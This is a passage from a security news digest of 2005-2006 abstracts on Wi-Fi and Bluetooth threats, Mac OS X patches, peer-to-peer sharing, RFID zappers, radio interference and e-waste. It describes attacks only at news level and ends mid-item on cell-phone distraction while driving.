Tired of worrying whether your wireless hotspot is hosting "drive-by" users? Force Field Wireless has developed a do-it-yourself DefendAir paint "laced with copper and aluminum fibers that form an electromagnetic shield, blocking most radio waves and protecting wireless networks." One coat of the water-based paint "shields Wi-Fi, WiMax and Bluetooth networks operating at frequencies from 100 megahertz to 2.4 gigahertz," while two or three applications are "good for networks operating at up to five gigahertz." Force Field Wireless warns that the paint must be applied carefully -- too little, and the radio waves will "leak"; too much and you risk hindering the performance of radios, televisions and cell phones. And while the only color available is a dreary gray, DefendAir can also be used as a primer so you can paint over it with your favorite hue. (The Register 13 Jan 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-20 **researchers bogus Wi-Fi access points wireless devices personal information cybercrime technology**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4190607.stm

RESEARCHERS WARN OF BOGUS WI-FI ACCESS POINTS

Researchers at Britain's Cranfield University are warning users of wireless computing devices about bogus Wi-Fi access points that can steal personal information. The so-called evil twin hotspots are set up near existing access points, where they can hijack signals sent between wireless devices and legitimate access points. Dr. Phil Nobles, a expert on cybercrime and wireless technology at Cranfield, said, "Because wireless networks are based on radio signals, they can be easily detected by unauthorized users tuning into the same frequency." Security experts said that setting up adequate protections for access points, as well as installing personal firewalls on wireless devices, can prevent users from being victimized by the unauthorized hotspots.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-28 **social engineering shoulder surfing confidential data theft threat greater Wi-Fi evil twin malicious hot spot**

DHS IAIP Daily; http://www.techweb.com/wire/mobile/57704010

LOW-TECH WAYS TO STEAL CONFIDENTIAL DATA WORSE THAN "EVIL TWIN" THREAT

You're more likely to have secrets stolen at a coffee shop from someone snooping over your shoulder or using wireless sniffing software than from sophisticated hackers deploying a so-called "Evil Twin" access point, said Jay Heiser, a U.K.-based research director with Gartner. "Unless the Wi-Fi session is encrypted in some way, which by default it's not, then all of the traffic is available for perusal by anyone with a wireless-enabled laptop and the right software." Heiser was reacting to an announcement last week by academic researchers in Britain who warned that rogue wireless access points -- dubbed "Evil Twin" -- posed a security risk to users in public places like coffee shops and airports where wireless Internet service is available. The lowest-tech way to lose confidential data while at a public hotspot -- which by definition are not encrypted -- is to be a victim of "shoulder surfing," where someone simply peeks over the shoulder of the user to watch for passwords and login names.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-02-21 **mobile phone virus Cabir US UK China Bluetooth Philippines standards international widespread infection**

NewsScan; http://www.nytimes.com/reuters/technology/tech-tech-security.html

MOBILE PHONE VIRUS INFILTRATES U.S.

The world's first mobile phone virus "in the wild," dubbed Cabir, has migrated to the U. S. from its point of origin in the Philippines eight months ago, infecting phones in a dozen countries along the way. Experts say the mobile-phone virus threat will increase as virus-writers become more sophisticated and phones standardize technologies that will make it easier to for viruses to spread not just across devices, but the whole industry. Up until now, disparate technical standards have worked against fast-moving virus infiltration, but Cabir has now been found in countries ranging from the China to the U.K., spread via Bluetooth wireless technology. The biggest impact of the relatively innocuous virus is that it's designed to drain mobile phone batteries, says Finnish computer security expert Mikko Hypponnen. Last November, another virus known as "Skulls" was distributed to security firms as a so-called "proof-of-concept alert, but was not targeted at consumers. (Reuters/New York Times 21 Feb 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-03-01 **wireless networking Wi-Fi security concern radio frequency identification RFID**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0228/web−wireless−03 −01 −05.asp

WIRELESS STRUGGLES WITH SECURITY

Agency officials in charge of setting policies for wireless use and related technologies such as radio frequency identification (RFID) still have a difficult job. Technologies are evolving, as are the security standards that they use, and employees are not always judicious about using their own wireless devices on an agency network. What employees see as simple conveniences -- such as using a handheld device to send and receive e-mail -- can cause nightmares for security officials, according to panelists speaking today at the E-Gov Institute's Wireless/RFID conference in Washington, D.C. "Even a simple thing like putting a password on a cell phone is hard to sell" to employees, said Jaren Doherty, director of information security and awareness at the National Institutes of Health. "But it's important if the phone is also enabled to get your e-mail or log on to the Internet."

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-04-25 **hacker infiltration attack information technology IT conference London wireless hot spot Wi-Fi evil twin attack steal sensitive information theft**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3919595 6,00.htm

HACKERS ATTACK IT CONFERENCE IN LONDON

Hackers infiltrated an IT exhibition last week and attacked delegates' computers with a new type of wireless attack. Security experts attending the Wireless LAN Event in London last Wednesday, April 20, found that anonymous hackers in the crowd had created a Website that looked like a genuine login page for a Wi-Fi network, but which actually sent 45 random viruses to computers that accessed it. Spencer Parker, a director of technical solutions at AirDefense, said that the hackers walked around the exhibition carrying a Linux-based laptop running software that turned it into a wireless access point. The technique has evolved from an "evil twin" attack, where hackers host fake log-in Websites at commercial Wi-Fi hotspots. This was originally used to lure people into typing in credit card details onto the Web page, so the hacker could steal them.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-05-17 **GAO report Wi-Fi security criticism government agencies unauthorized access NIST OMB**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8521359

GAO WARNS OF INSECURE WI-FI

A report released this week by the Government Accountability Office (GAO) strongly criticizes the Wi-Fi security of federal agencies. Wireless networks with no security or with poorly configured security pose significant risks of unauthorized access. Hackers within range of the network could access the network and potentially other computers on the network. Despite guidelines issued by the National Institute for Standards and Technology stating that government agencies should forgo wireless networks unless their security can be ensured, 13 of 24 major agencies do not require security for wireless networks, and 9 agencies do not have wireless-security plans. Investigators from the GAO monitored six agencies and detected Wi-Fi signals outside all of them. The GAO report recommends that the Office of Management and Budget require all federal agencies to use a variety of security measures, including encryption and virtual private networks. Reuters, 17 May 2005

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-06-04 **Bluetooth wireless networking security breach weakness vulnerability exploit demonstration**

RISKS; http://www.newscientist.com/article.ns?id=dn7461 23 89

METHOD DISCOVERED OF CRACKING BLUETOOTH SECURITY

Avishai Wool and Yaniv Shaked of Tel Aviv University in Israel have demonstrated a method of cracking Bluetooth security. Every Bluetooth device broadcasts its ID code to everything in the vicinity. The method is to pick up an ID code, then send a message to another device, spoofing the ID code, and telling it that the 'link key' used for encrypting communication has been 'forgotten'. This forces the two devices to go through a 'pairing' exercise to establish another link key. (Normally this is done only on the first occasion on which two devices communicate with each other.) The attacker can then eavesdrop on the messages exchanged in the pairing session, and analyse these using software which implements the Bluetooth algorithm. The four-digit PIN (set on each device by the legitimate user) can be cracked by 'brute force'. The link key can then be derived, and the attacker can then communicate with either device by pretending to be the other.

[Abstract contributed to RISKS by Pete Mellor]

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-07-12 **wireless attack threat "phlooding" overloading AirMagnet dictionary attacks flood operations VPN firewall businesses**

DHS IAIP Daily; http://www.ebcvg.com/articles.php?id=802

NEW WIRELESS ATTACK DISCOVERED

The security threat of wireless networks to the enterprise keeps growing, this time with the discovery of a new wireless attack. Dubbed "phlooding," this new exploit targets businesses central authentication server with the goal of overloading it and cause a denial-of-service attack. The "phlooding" attack, discovered by AirMagnet, describes a group of simultaneous but geographically distributed attacks that targets wireless access points with login requests using multiple password combination in what are known as dictionary attacks. The multiple requests create a flood of authentication requests to the company's authentication server, which could slow down logins and potentially interfere with broader network operations, since many different users and applications often validate themselves against the same identity management system. Phlooding could effectively block broadband VPN or firewall connections that use a common authentication server to verify an incoming user's identity, making it temporarily impossible for employees to access their corporate network. Businesses with multiple office locations served by a single identity management server could be particularly vulnerable to phlooding attacks.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-12-05 **research study SRI wireless data communications safety US Canada technology experiment**

DHS IAIP Daily; http://www.telematicsjournal.com/content/newsfeed/5602.html

U.S.-CANADA TECHNOLOGY EXPERIMENT ASSESSES SECURE WIRELESS DATA COMMUNICATION ENHANCEMENTS

SRI International Monday, December 5, announced the completion of tests that aim to improve the security of wireless data communications among domestic public safety, emergency preparedness, and law enforcement agencies, as well as for use in cross-border situations. The test exercise was commissioned by the U.S. Department of Homeland Security Science and Technology Directorate and its Cyber Security Research and Development Center. The test was conducted in late October in partnership with Defense Research and Development Canada (an agency of the Canadian Department of National Defense). The trial assessed various technologies developed by Voltage Security, CipherTrust, and Research in Motion/RIM. The technologies were evaluated under operationally relevant conditions, using repeatable procedures, automated tools, and infrastructure and instrumentation that could be refined and re-used to support future, related activities. "Recent natural disasters emphasize a critical need for secure mobile data communications in cross-agency and cross-border environments. This exercise proves that commercially available, secure mobile communications are available to government agencies," said Douglas Maughan, program manager of the DHS Cyber Security R&D Center. Exercise participants discussed the trial, its results, and the benefits of deploying a secure wireless solution for data communications at the InfoSecurity New York conference Wednesday, December 7.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-12-06 **Network Chemistry wireless threat database resource**

DHS IAIP Daily;
http://www.newsfactor.com/story.xhtml?story_id=01300000B4F7

WIRELESS THREAT DATABASE DEBUTED

Wireless security vendor Network Chemistry has announced the creation of an online Wireless Vulnerabilities and Exploits database intended to be a universal collection point for credible information about security threats affecting multiple wireless technologies, including 802.11 Wi-Fi, CDMA 1X EV-DO, EDGE, Bluetooth, and RFID, as well as emerging protocols like HSDPA and 802.16 WiMAX. The database is co-sponsored by Network Chemistry, wireless LAN training and certification firm CWNP, and the Center for Advanced Defense Studies, a non-profit, non-governmental institute. Brian de Haaff, vice president of product management and marketing at Network Chemistry, said of the database, "We hope it grows into an industry initiative. We've been talking quite a bit to other network security people and carrier people about it. No one has ever tried before to collect this kind of information in one place." Wireless Vulnerabilities and Exploits database: http://www.wirelessve.org/

Category 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

2006-04-03 **IEEE 802.11w wireless standard security improvement**

DHS IAIP Daily; http://www.networkworld.com/news/tech/2006/040306−80211w−wir eless−security.html

IEEE 802.11W FILLS WIRELESS SECURITY HOLES.

IEEE 802.11i, the standard behind Wi-Fi Protected Access and WPA 2, patched the holes in the original Wired Equivalent Privacy specification by introducing new cryptographic algorithms to protect data traveling across a wireless network. Now, the 802.11w task group is looking at extending the protection beyond data to management frames, which perform the core operations of a network. Traditionally, management frames did not contain sensitive information and did not need protection. But with new fast handoff, radio resource measurement, discovery and wireless network management schemes, new and highly sensitive information about wireless networks is being exchanged in these non-secure frames. IEEE 802.11w proposes to extend 802.11i to cover these important frames.

24.8 MAC OS

Category 24.8 MAC OS

2005-05-16 **US CERT vulnerability alert Apple Mac OS X**

DHS IAIP Daily; http://www.us−cert.gov/cas/techalerts/TA05−136A.html

APPLE MAC OS X IS AFFECTED BY MULTIPLE VULNERABILITIES

Apple has released Security Update 2005-005 to address multiple vulnerabilities affecting Mac OS X version 10.3.9 (Panther) and Mac OS X Server version 10.3.9. The most serious of these vulnerabilities may allow a remote attacker to execute arbitrary code. Impacts of other vulnerabilities addressed by the update include disclosure of information and denial of service. Apple advisory and updates: http://docs.info.apple.com/article.html?artnum=301528

Category 24.8 MAC OS

2005-06-09 **Apple MAC OS X fix patch flaw arbitrary command execution denial-of-service privilege escalation**

DHS IAIP Daily; http://www.frsirt.com/english/advisories/2005/0712

APPLE SECURITY UPDATE FIXES MULTIPLE MAC OS X VULNERABILITIES

Apple has released a security patch to correct multiple vulnerabilities affecting Mac OS X. These flaws could be exploited by remote or local attackers to execute arbitrary commands, cause a denial of service, obtain elevated privileges, or disclose sensitive information. Vendor updates are available. Mac OS X 10.3.9 Update (2005-006): http://www.apple.com/support/downloads/securityupdate2005006 macosx1039.html and Mac OS X 10.4.1 Update (2005-006): http://www.apple.com/support/downloads/securityupdate2005006 macosx1041.html

---

Category 24.8 MAC OS

2006-03-08 **University of Wisconsin-Madison computer hacking contest Mac OS X stopped**

EDUPAGE; http://news.com.com/2100-7349_3-6047735.html

WISCONSIN HACKER CONTEST OUT OF BOUNDS

Officials at the University of Wisconsin-Madison have pulled the plug on a Mac OS X hacking contest started by a systems engineer at the university. The engineer, Dave Schroeder, connected a Mac computer to the university's network and invited hackers to try to compromise the machine within five days. Schroeder did not, however, clear the contest with his superiors, and when the institution's CIO learned of it, the computer was removed from the network and the contest was over. Brian Rust, spokesperson for the university, said the contest "was not an activity authorized by the UW-Madison." Rust noted that the institution's "primary concern is for security and network access for UW services," saying that during the time of the contest the university "was able to handle the traffic, and there were no compromises to university systems." Rust said that although Schroeder was "well-meaning," he will have to conduct such experiments in the future on his own, "not using university systems."

Category 24.8 MAC OS

2006-03-08 **Mac OS X hacking contest shut down too easy**

DHS IAIP Daily; http://www.informationweek.com/security/showArticle.jhtml?ar ticleID=181502078

HACK-MY-MAC CHALLENGE LEAVES SYSTEM SHIPSHAPE.

Dave Schroeder, a University of Wisconsin systems engineer who said a Swedish Hack-My-Mac contest was too easy, closed down his own challenge Tuesday, March 7. The machine ran Mac OS X 10.4.5 with the latest security updates and had two local accounts. In addition, Schroeder left both SHH and HTTP open. The mini garnered attention and lots of traffic, said Schroeder, who logged 4,000 attempts. The machine weathered two denial-of-service attacks, various Web exploit scripts, SSH dictionary attacks, and untold probes by scanning tools, he added.

Category 24.8 MAC OS

2006-03-14 **multiple vulnerability fixes Mac OS X update**

DHS IAIP Daily; http://secunia.com/advisories/19129/

MAC OS X SECURITY UPDATE FIXES MULTIPLE VULNERABILITIES.

Apple has issued a security update for Mac OS X, which fixes multiple vulnerabilities. Analysis: Under certain circumstances, it is possible for JavaScript to bypass the same origin policy via specially crafted archives. A boundary error in mail can be exploited to cause a buffer overflow via a specially crafted e-mail. This allows execution of arbitrary code on a user's system if a specially crafted attachment is double clicked. An error in Safari/LaunchServices can cause a malicious application to appear as a safe file type. This may cause a malicious file to be executed automatically when visiting a malicious Website. Solution: Apply Security Update 2006-002. Mac OS X 10.4.5 (PPC): http://www.apple.com/support/dow...yupdate2006002macosx1045p pc.html Mac OS X 10.4.5 Client (Intel): http://www.apple.com/support/dow...006002macosx1045clientint el.html Mac OS X 10.3.9 Client: http://www.apple.com/support/dow...rityupdate20060021039clie nt.html Mac OS X 10.3.9 Server: http://www.apple.com/support/dow...rityupdate20060021039server.html

---

Category 24.8 MAC OS

2006-04-06 **Mac threats Windows installation special security issues**

DHS IAIP Daily;
http://www.techweb.com/wire/security/184429499;jsessionid=TX CXZFKVJIOF0QSNDBOCKH0CJUMEKJVN

MAC USERS MAY MEET WINDOWS THREATS.

Users installing Windows XP on Intel-based Macs face some special security issues, a security expert said Thursday. By applying Apple Computer's just-released Boot Camp, Mac owners can now create a dual-boot system that runs either Mac OS X or Windows XP. It's the latter that worries Ken Dunham, the director of the rapid response team at security intelligence firm iDefense. "When a Mac is booted into Windows, it can be attacked by the same [exploits] that threaten any Windows PC," said Dunham. "If you're running an unpatched version of Windows XP on any box, it'll be hacked pretty quickly." But it's not the vulnerability of Windows that concerns Dunham; it's the fact that the Mac will have multiple operating systems on its hard drive. Typically, argued Dunham, people are less diligent about updating their secondary system.

Category 24.8 MAC OS

2006-05-05 **research leap Mac vulnerabilities McAfee Avert Labs**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1958180,00.asp

RESEARCHERS CHART LEAP IN MAC VULNERABILITIES.

The volume of security vulnerabilities discovered in Apple's Macintosh platform has increased significantly over the last several years, according to a new report released by McAfee's Avert Labs. The security software maker contends that the number of flaws found in the Mac operating system has increased by 228 percent since 2003. While the researchers said the number of serious vulnerabilities isolated in the latest version of Apple's operating system software, Mac OS X, is dwarfed by the quantity of problems unearthed in Microsoft's rival Windows during the same period, McAfee maintains that as Apple's products have become more popular, a larger number of glitches are being identified. Perhaps even more disturbing, based on how closely Apple can tie its current wave of success to hot-selling consumer multimedia products, McAfee said that many of the reported issues have actually been related to the company's iPod devices and iTunes download service. McAfee Avert Labs whitepaper: http://download.nai.com/products/mcafee-avert/WhitePapers/Ne wAppleofMalwaresEye.pdf

---

24.9 Peer-to-peer networking

Category 24.9 Peer-to-peer networking

2005-01-21 **P2P peer-to-peer BBC Hollywood music video control business models**

NewsScan; http://news.bbc.co.uk/1/hi/technology/4191581.stm

THE FUTURE OF P2P

While Hollywood and the music industry has spent the last few years demonizing peerto- peer networks, big business is eyeing the technology's potential for "commoditization" (translation: $$$). "Old media always tries to stop new media. When they can't stop it, they try to control it. Then they figure out how to make money and they always make a lot of money," says StreamCast Networks president Michael Weiss. P2P networks can be used to share any type of file -- photos, software, licensed music and other digital content. The BBC has already embraced the technology, and will be using P2P to offer most of its programs for download this year. Even some commercial entertainment companies are working on business models that would enable them to make money off of it, such as paid-for-pass-along, in which firms receive money each time a file is shared. (BBC News 21 Jan 2005)

Category 24.9 Peer-to-peer networking

2005-01-25 **music piracy artists P2P peer-to-peer Supreme Court**

NewsScan; http://www.usatoday.com/tech/news/2005-01-25-riaa-wed-usat_x.htm

ARTISTS AGAINST MUSIC PIRACY

The U.S. Attorney General and the state attorneys general will have some celebrity allies in their effort to convince the U.S. Supreme Court to overturn a lower-court Internet file-sharing decision. Music stars rallying against file-sharing software's threat to copyright include the Eagles, the Dixie Chicks, Bonnie Raitt, Sheryl Crow, Stevie Nicks, Tom Jones and Beach Boys founder Brian Wilson. Don Henley of the Eagles says, "There is no more important case for the future of our business. These systems promote copyright violations on an unprecedented scale." But Fred von Lohmann, a lawyer representing the Grokster file-sharing service, says: "All the prominent movie stars of the day talked about how the VCR was the death of Hollywood. The court wasn't fooled then by the parochial interests of one industry, and it won't be now." (USA Today 25 Jan 2005)

Category 24.9 Peer-to-peer networking

2005-06-16 **peer-to-peer P2P file music movie software illegal downloading BitTorrent spyware adware infection threat**

EDUPAGE; http://news.com.com/2100-7349_3-5750601.html

BITTORRENT THE NEW SOURCE FOR SYPWARE AND ADWARE

BitTorrent downloads have become widely infected with adware and spyware, according to observers. Although functionally different from P2P services, BitTorrent has become a popular tool for locating and downloading music, video, and computer game files. Chris Boyd, operator of the Vital Security Web site, said he has uncovered many instances both of adware and of spyware being included in BitTorrent downloads. In most cases, users were prompted to download the software with instructions implying that the desired download file would not function without the extra software. Alex Eckelberry, president of Sunbelt Software, maker of antispyware software, called the BitTorrent situation "one of the most egregious spyware infestations that we have seen." He said the programs being installed on users' computers will flood them with unwanted pop-up ads and could result in overall system instability. CNET, 16 June 2005

24.B Robust systems (hw / sw)

Category 24.B Robust systems (hw / sw)

2005-04-29 **computer keyboard equipment dirty filthy infected bacteria culture sanitize disinfect**

RISKS 23 87

COMPUTER KEYBOARDS A VECTOR FOR BACTERIAL INFECTION IN HOSPITALS

Ken Knowlton reported on new findings about a different sort of infection risk in computer equipment:

"Computers are making hospitals more dangerous, new research suggests. Computer keyboards fester with colonies of bacteria, which can easily spread from the medical personnel who use them to the patients they treat. Some hospitals now have computers in every patient room, creating even more opportunities for contamination. Researchers at Northwestern Memorial Hospital in Chicago found that the types of bacteria commonly found in hospitals -- some resistant to antibiotics -- could survive on a keyboard for 24 hours. Simply cleaning the computers with soap and water didn't make a difference. Using a strong disinfectant did kill the germs -- but it also damaged the computers. 'The difficulty with keyboards is you can't pour bleach on them,' Dr. Allison McGreer of Toronto's Mount Sinai Hospital tells The Canadian Press. 'They don't work so well when you do that.' Because it's nearly impossible to keep keyboards sterile, researchers say, the onus is on doctors and nurses to wash their hands vigorously and often." [Excerpted from *The Week*, 29 May 2005]

[MK notes that there is a tremendous market here for an enterprising company to manufacture sterilizable computer equipment, much as some manufacturers make military-grade field equipment. Sterilization could involve special materials in combination with special disinfectants especially chosen to be safe both for people and for the computer gear.]

Category 24.B Robust systems (hw / sw)

2005-08-09 **software quality assurance QA system design robust resistance fraud ethics third-world intellectual property rights open-source proprietary code design**

RISKS; http://www.spectrum.ieee.org/aug05/1699 24 01

ROBUST SYSTEMS DESIGN FOR THIRD-WORLD APPLICATIONS

There is an interesting article in the August 2005 issue of _IEEE Spectrum_ [by G. Pascal Zachary] on the above subject. [Hermann] Chinery-Hesse runs a very successful software business in Ghana. Some of the high points:

* Software that is lean and efficient, so it runs well on old PCs such as 386/486. These are affordable in Ghana.
* Software design for robustness under third-world conditions. For example, frequent writes to disk to minimize work lost of the power goes off, as it frequently does.
* Rather extreme measures to protect proprietary software, such as updates installed in personal visits by software company employees. This to cope with conditions in a country where any sense of ethics is practically nonexistent.
* Shunning of open source software, on the grounds that having the source makes it too easy for unscrupulous users to modify the code so as to line their own pockets.

This last item could well be criticized as security through obscurity. Surely the incentives are there for users to make a considerable effort to tamper with closed source proprietary software. One could argue that open source software would be easier to audit for unauthorized modifications. But then who audits the auditors? And how can they be sure that the code actually running in the machine is accurately represented by the source code they can see.

This suggests a larger research topic: how can we make computer systems that are guaranteed to "work right" when they are to be installed in a den of thieves? Seems like this has applicability to the problem of electronic voting systems in the U.S.

[Abstract and comments by J. H. Haynes]

25.1 Remote control, RATs, reprogramming, auto-updates

Category 25.1 Remote control, RATs, reprogramming, auto-updates

2005-01-20 **cellphone phone future remote-control multi-function devices**

NewsScan; http://www.latimes.com/technology/ats-ap_technology12jan20

BE MASTER OF THE UNIVERSE (FROM YOUR CELLPHONE)

Toshiba has developed software that will make it possible for people to edit documents, send e-mail, and reboot their PCs remotely from their cellphones, allowing them to work anywhere. Toshiba will begin offering the service in Japan by the end of March through CDMA1X mobile phones offered by KDDI Corp. Toshiba is initially targeting the corporate work force, but says individuals can use it to record TV shows, work security cameras and control air conditioners tied to home networks. (AP/Los Angeles Times 20 Jan 2005)

25.2 Jamming

Category 25.2 Jamming

2005-11-04 **radio frequency interference RFI controls garage-door openers military**

RISKS; http://tinyurl.com/7mva3 24 09

RADIO SIGNAL KEEPS OTTAWA GATES AND GARAGE DOORS CLOSED

Apparently garage doors and embassy gates are refusing to work because something in Ottawa is broadcasting on their radio controlled opener devices' frequencies and swamping them. No one seems to know who/what is doing it and some fingers point to the military use of that same frequency…. This is, of course, a common problem as we run out of available radio bandwidth and try to cram more and more users into limited space. There is a possibility that the U.S. Embassy or the U.S. Military stationed at the Embassy is responsible. Time will eventually tell.

[Abstract by R. S. Heuman]

[MK adds:] The CBC article has additional details of interest (all quotations):

* It affects a 25-mile radius.

* Two companies that have plotted the reported problems on maps say they appear to cluster in the Byward Market area just east of Parliament Hill, and a corridor leading southeast from there.

* The Door Doctor has received more than 100 calls from irate customers who can't operate their doors using the usual remotes.

* The signal is transmitted on the 390-megahertz band, which is used by virtually all garage door openers on the continent. That's the same frequency used by the U.S. Military's new state-of-the-art Land Mobile Radio System.

* …[O]perators have already been warned of this phenomenon by service updates from U.S. manufacturers, who started seeing the same problem around military bases last summer. The strong radio signals on the 390-megahertz band simply overpower the garage door openers.

25.3 RFI, HERF, EMP/T

Category 25.3 *RFI, HERF, EMP/T*

2006-04-20 **electromagnetic pulse EMP information warfare RFID radio-frequency identification tag sabotage destruction inactivation criminal hackers**

RISKS; Chaos Computer Club https://events.ccc.de/congress/2005/wiki/RFID-Zapper(EN) 24 26

RFID ZAPPERS

The Chaos Computer Club of Germany had a discussion of RFID Zappers at its 22nd Chaos Communication Congress in December 2005 in Berlin. Al Mac provided a summary:

…[S]ome hobbyist has come up with what it takes for a paranoid person to obliterate any RFID tags that might be on consumer merchandise, or where not expected or wanted….

I imagine that there will be a consumer market for this.

People who want one but do not have the personal what it takes to build stuff in their garage with assurance the contraption works right, and that they not injure themselves before getting it completed. Call this a niche industry that will attract a lot of imitators. To be profitable it needs mass production like on a circuit board assembly line.

* Then the next market needed will be some way to assure purchasers that the RFID Zapper that THEY got really works.
* Then the next society development will be that objects where RFID was inserted for purposes of identification, like in ID cards, Passports etc. Will malfunction because someone had used the RFID Zapper on them, rendering those people's ID unusable for the intended purposes.
* Then stores, and other institutions, will have to institute rules that people are not allowed to enter their premises carrying an RFID Zapper, so as to prevent unauthorized usage on the store merchandise.
* Then the next result might be that RFID Zappers will get declared to be illegal … although I expect this will be a few years away … the effort to illegalze RFID Zappers may get a lot more attention from the general public than the usual illegalization of technology tools.

There have been several problems with RFID deployment so far.
* There is the mass public panic over conspiracy theories, leading to a ton of Urban Legends, of which there is a glimmer of validity at the fringes. There are in fact some risks of abuse, but they are relatively small risks compared to the frenzy of claims out there.
* There's recent threads on the notion that el cheapo implementation can lead to security holes, where RFID is no exception to that risk, such as susceptibility to malware.
* Spread of the RFID Zapper into society and its effects will become problem area # 3.

Al Mac also pointed to the CAUTION section, which he described as" = ROFL." That section follows, idiosyncratic spelling and all.

>Caution

(This part of this article probably will be longer than the equivalent part in the german article, since english-speaking peoble seem to be more concerned with safety matters and less careful with electric devices ;-)

* Poldi kindly informed us, that having a RFID-Zapper with you when checking in to a plane might cause trouble or even get you arrested (he almost was). RFID-Zappers are basically some kind of pocket-EMP. Although we doubt that it has the capacity to cause any trouble aboard an airplane, we seriously recommend against testing it, for reasons of your own health as well as that of others.

* RFID-Zappers don't comply with the FCC-rules.

* Modifying a single-use-camera into a RFID-Zapper isn't completely free of risks. If the capacitor is still charged fully or partly, you might catch yourself an electric shock. If you are a healthy, young person, this is probably only going to hurt a lot, but if you should have any kind of problems with your heart and/or circulation, you definetly want to properly decharge the capacitor first. If you use a bigger capacitor, the risk increases.

* Soldering irons are known to be unpleasantly hot at the tip.

* We also recommend against using the RFID-Zapper on RFID-Tags found within electrical devices, for these are likely to suffer damage too. You also shouldn't use RFID-Zappers too near to electric devices, especially if they are expensive. You also shouldn't use it near any magnetic data storage, like floppy disc, MCs, hard discs, credit cards, streamer-cartridges and so on. And don't try it near your grandpa's pacemaker or other sensitive medical equipment either!

* We don't think that the RFID-Zapper is a strong source of what is known in Germany as Elektrosmog, which means some kind of smog caused by electromagnetic fields. But if you are concerned about it, you might want to be careful. Unfortunately we can't tell you wether wearing a hat of aluminium helps or not.

* The RFID-Zapper might cause you to feel armed against companies or governments trying to compromise your privacy. You might even experience euphoria, especially when destroying RFID-Tags. This could lead to dangerous behavior, like speaking your mind, using freedom of speech, fighting for your rights, all of which are bound to ultimately lead to the communist world revolution ;-)
* Shoplifting: No. This tool was not constructed as a burgular tool and is not to be used as. Besides, shops do not use RFID-Chips for eletronic theft prevention. However, it may be considered as such as a result of unknowledge.<

Category 25.3 *RFI, HERF, EMP/T*

2006-04-26 **electromagnetic inteference EMI personal electronic devices PEDs cell mobile phones aircraft control systems avionics fly-by-wire interference real-time control systems**

RISKS 24 26

PERSONAL ELECTRONIC DEVICES ON COMMERCIAL AIRCRAFT

Prof Peter Ladkin summarized the current state of knowledge about personal electronic devices (PEDs) on aircraft in a report for RISKS. He began with a summary of the problem:

"There has been plenty of discussion of the risks of operating personal electronic devices (PEDs) such as mobile telephones, gameboys and computers on board commercial transport aircraft. In the U.S., the use of mobile telephones on board flying aircraft is forbidden by the Federal Communications Commission, inter alia because such a phone would be within receiving range of many cells simultaneously and the technology is neither designed nor implemented to accommodate such cases. However, there is also the possibility of interference with the aircraft avionics."

His review of the literature strongly supports the aviation industry's concerns about electromagnetic interference (EMI) with avionics and points to widespread ignorance on the part of passengers about why PEDs are to be turned off during flight.

26.2 Toxic materials

Category 26.2 Toxic materials

2005-01-07 **recycling Intel eBay toxic electronics disposal heavy metals cadmium mercury chrome**

NewsScan; http://apnews.excite.com/article/20050107/D87F998O2.html

RECYCLING ELECTRONIC GADGETS

EBay and Intel have developed a recycling program that encourages Americans to safely dispose of their discarded computers and other electronic devices. Gartner, the marketing research firm, estimates that U.S. consumers decommission 133,000 personal computers every day, and eBay chief executive Meg Whitman says that the user's quandary is, "You don't want to throw them out, and you don't know what to do with them." If not properly disposed of, discarded electronic devices can leak lead, cadmium, chromium, mercury and other toxins into the environment. The new eBay- Intel "Rethink" recycling program will only endorse recyclers who promise not to dump machines in landfills in developing nations. (AP 7 Jan 2005)

Category 26.2 Toxic materials

2005-01-21 **toxic waste electronics China US international Basel Convention treaty**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A24672-2005Jan20.html

E-WASTE IS PILING UP

Consumers' penchant for constant upgrades -- new cell phones, a sleeker laptop -- is causing havoc in the environment, and with technology products now accounting for as much as 40% of the lead in U.S. landfills, e-waste has become one of the fastestgrowing sectors of the U.S. solid waste stream. The International Association of Electronics Recyclers estimates that Americans dispose of 2 million tons of electronic products a year -- including 50 million computers and 130 million cell phones -- and China, which has served for years as the final resting place for Americans' unwanted TVs and computers, is becoming overwhelmed by the volume. Some high-tech companies are taking matters into their own hands -- Hewlett Packard and Dell job out their e-waste handling to environmentally sensitive recyclers such as RetroBox -- but such efforts are still quite limited and unable to cope with a problem that's reaching crisis proportions. Meanwhile, the U.S. is the only developed country not to have ratified the 1992 Basel Convention, the international treaty that controls the export of hazardous waste. "There's a real electronics-waste crisis," says Basel Action Network coordinator Jim Puckett. "The U.S. just looks the other way as we use these cheap and dirty dumping grounds." (Washington Post 21 Jan 2005)

26.4 Distraction

Category 26.4 Distraction

2006-02-10 **mobile cell phone driving risks dangers distraction concentration automobile**

The Straight Dope http://www.straightdope.com/columns/060210.html

DON'T DRIVE WHILE USING CELL PHONES

Cecil Adams, author of the popular "THE STRAIGHT DOPE" column, summarized the case against driving while talking on cell phones as follows:

Accumulating evidence suggests gabbing on the phone while driving is definitely dangerous, probably more so than other distractions. What's more, hands-free phones don't solve the problem. What gets you into trouble, it seems, isn't so much fumbling with the phone (though that doesn't help) as the apparent fact that driving and conducting a conversation at the same time consumes more mental processing power than most people can spare. A few data points:

